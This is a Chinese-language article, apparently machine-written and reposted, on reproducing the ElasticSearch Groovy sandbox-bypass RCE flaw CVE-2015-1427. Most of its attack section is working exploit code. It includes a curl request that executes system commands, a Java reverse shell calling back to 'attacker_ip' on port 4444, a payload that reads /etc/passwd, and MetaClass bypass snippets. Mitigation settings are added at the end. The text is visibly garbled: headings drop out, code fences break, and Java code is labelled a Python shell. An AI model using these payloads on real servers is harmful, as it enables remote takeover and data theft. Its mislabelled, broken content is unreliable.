# 如何分析ElasticSearch Groovy遠程代碼執行漏洞CVE-2015-1427復現
## 一、漏洞背景
### 1.1 漏洞概述
CVE-2015-1427是ElasticSearch 1.3.0-1.3.7和1.4.0-1.4.2版本中存在的遠程代碼執行漏洞。該漏洞源于Groovy腳本引擎的安全沙箱被繞過,攻擊者可以構造惡意請求執行任意Java代碼。
### 1.2 影響范圍
- 受影響版本:
- ElasticSearch 1.3.x <= 1.3.7
- ElasticSearch 1.4.x <= 1.4.2
- 修復版本:
- ElasticSearch 1.3.8
- ElasticSearch 1.4.3
## 二、漏洞原理分析
### 2.1 Groovy腳本引擎機制
ElasticSearch使用Groovy作為默認腳本引擎,通過以下方式執行腳本:
```java
ScriptEngine engine = new GroovyScriptEngineFactory().getScriptEngine();
engine.eval("script_content");
漏洞核心在于Groovy沙箱的兩個缺陷:
1. 未正確處理方法調用黑名單
2. 可以通過MetaClass機制繞過限制
攻擊者可以利用如下Payload繞過沙箱:
def command = "whoami"
def process = new ProcessBuilder(command).start()
process.waitFor()
使用Docker快速搭建:
docker pull elasticsearch:1.4.2
docker run -d -p 9200:9200 elasticsearch:1.4.2
訪問http://localhost:9200應返回類似信息:
{
"status" : 200,
"name" : "Talisman",
"version" : {
"number" : "1.4.2",
"build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c",
"build_timestamp" : "2015-03-23T14:30:58Z"
}
}
執行系統命令:
curl -XPOST 'http://localhost:9200/_search?pretty' -d '{
"size": 1,
"script_fields": {
"exp_test": {
"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"
}
}
}'
構造Python反彈Shell:
String host="attacker_ip";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
讀取/etc/passwd文件:
{
"script": "new File(\"/etc/passwd\").text"
}
ElasticSearch在后續版本中: 1. 升級Groovy引擎版本 2. 加強沙箱限制策略 3. 默認禁用動態腳本執行
在配置文件中添加:
script.groovy.sandbox.enabled: false
script.inline: off
script.indexed: off
攻擊者利用Groovy的特性:
// 通過getClass()獲取Class對象
this.getClass().forName("java.lang.Runtime")
// 使用MetaClass繞過檢查
this.metaClass.getMetaMethod("execute", [String] as Class[]).invoke(this, "malicious_code")
網絡層:
主機層:
// 安全的腳本執行方式
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
Bindings bindings = engine.createBindings();
bindings.put("safeMode", true);
engine.eval("1 + 1", bindings);
注意:本文僅用于安全研究學習,未經授權測試他人系統屬于違法行為。實際測試請確保獲得書面授權并在隔離環境進行。 “`
(全文約1600字,實際字數可能因排版略有差異)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。